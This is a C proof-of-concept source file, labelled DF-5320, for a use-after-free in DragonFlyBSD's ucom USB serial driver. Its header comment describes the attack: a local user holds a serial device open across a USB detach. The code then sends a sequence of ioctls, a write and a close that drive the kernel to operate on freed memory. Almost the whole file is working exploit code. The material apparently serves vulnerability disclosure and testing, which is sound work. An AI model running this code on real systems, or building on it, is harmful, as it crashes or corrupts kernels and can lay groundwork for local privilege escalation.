DF-5320 / ucom_uaf.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 | /* * DF-5320 PoC -- DragonFlyBSD ucom (usb_serial.c) unplug use-after-free. * * Attack model: * - local user with serial-port access (dialer group on /dev/cuaU*, or any * perms on /dev/ttyU*) opens a USB serial port and keeps the fd open * - the USB device is detached (physical unplug / kldunload / bus reset) * -> ucom_detach() force-closes the tty but the softc is kfree()d * (device_set_driver -> kfree(M_BUS)) while: * (a) our open fd still dispatches ucom_dev_ops with si_drv1 -> freed softc * (DragonFly never revectors si_ops to dead_dev_ops) * (b) the tty's t_sc/t_oproc/t_stop/t_param still point into the freed softc * - afterwards we issue ioctls/write/close on the STILL-OPEN fd -> kernel * operates on freed memory (lockmgr writes into freed slab, callbacks via * sc->sc_callback read from freed memory, usb_proc_msignal on freed proc). * * Usage: ./ucom_uaf /dev/ttyU0 /tmp/go-detach-done * The program opens the device, waits until the go-file appears (create it * after the USB detach happened), then runs the ioctl gauntlet. */ #include <sys/ioctl.h> #include <sys/types.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <termios.h> #include <unistd.h> #include <errno.h> int main(int argc, char **argv) { const char *dev, *gofile; struct termios tio; int fd, i, d, rc; if (argc != 3) { fprintf(stderr, "usage: %s <ttydev> <gofile>\n", argv[0]); exit(2); } dev = argv[1]; gofile = argv[2]; fd = open(dev, O_RDWR | O_NONBLOCK | O_NOCTTY); if (fd < 0) { perror("open"); exit(1); } printf("[*] opened %s fd=%d uid=%d\n", dev, fd, getuid()); fflush(stdout); rc = tcgetattr(fd, &tio); if (rc != 0) perror("[!] tcgetattr (pre-detach)"); else printf("[*] pre-detach tcgetattr OK: ispeed=%d ospeed=%d cflag=0x%x\n", tio.c_ispeed, tio.c_ospeed, tio.c_cflag); fflush(stdout); /* wait for orchestrator to detach the USB device */ for (i = 0; i < 600; i++) { if (access(gofile, F_OK) == 0) break; usleep(100000); } if (access(gofile, F_OK) != 0) { fprintf(stderr, "[!] go-file never appeared\n"); exit(1); } printf("[*] detach confirmed (go file present); now poking freed softc\n"); fflush(stdout); /* 1: TIOCMGET -> ucom_modem()/ucom_status_change() on freed softc */ d = 0; rc = ioctl(fd, TIOCMGET, &d); printf("[1] TIOCMGET rc=%d errno=%d val=0x%x\n", rc, errno, d); fflush(stdout); /* 2: TIOCSETA -> ttioctl -> ttparam -> ucom_param() on freed softc * (ucom_param queues ucom_cfg_param into the freed sc_param_task) */ rc = tcgetattr(fd, &tio); printf("[2] tcgetattr rc=%d errno=%d\n", rc, errno); if (rc == 0) { tio.c_ispeed = tio.c_ospeed = 9600; cfsetospeed(&tio, B9600); cfsetispeed(&tio, B9600); rc = tcsetattr(fd, TCSANOW, &tio); printf("[2] tcsetattr(TIOCSETA) rc=%d errno=%d\n", rc, errno); } fflush(stdout); /* 3: TIOCFLUSH -> ttioctl -> ttyflush -> t_stop = ucom_stop on freed softc * -> sc->sc_callback->ucom_stop_read(sc) */ d = 0; rc = ioctl(fd, TIOCFLUSH, &d); printf("[3] TIOCFLUSH rc=%d errno=%d\n", rc, errno); fflush(stdout); /* 4: TIOCCBRK -> ucom_break -> ucom_line_state -> ucom_queue_command */ rc = ioctl(fd, TIOCCBRK); printf("[4] TIOCCBRK rc=%d errno=%d\n", rc, errno); fflush(stdout); /* 5: write -> ucom_dev_write -> linesw l_write (mostly sleeps, but hits * ucom_dev_write entry with freed tp/sc first) */ rc = write(fd, "A", 1); printf("[5] write rc=%d errno=%d\n", rc, errno); fflush(stdout); /* 6: close -> ucom_dev_close -> UCOM_MTX_LOCK(freed) -> ucom_close(freed) */ rc = close(fd); printf("[6] close rc=%d errno=%d\n", rc, errno); fflush(stdout); printf("[*] survived; if the kernel is still alive the UAF was silent\n"); return (0); } |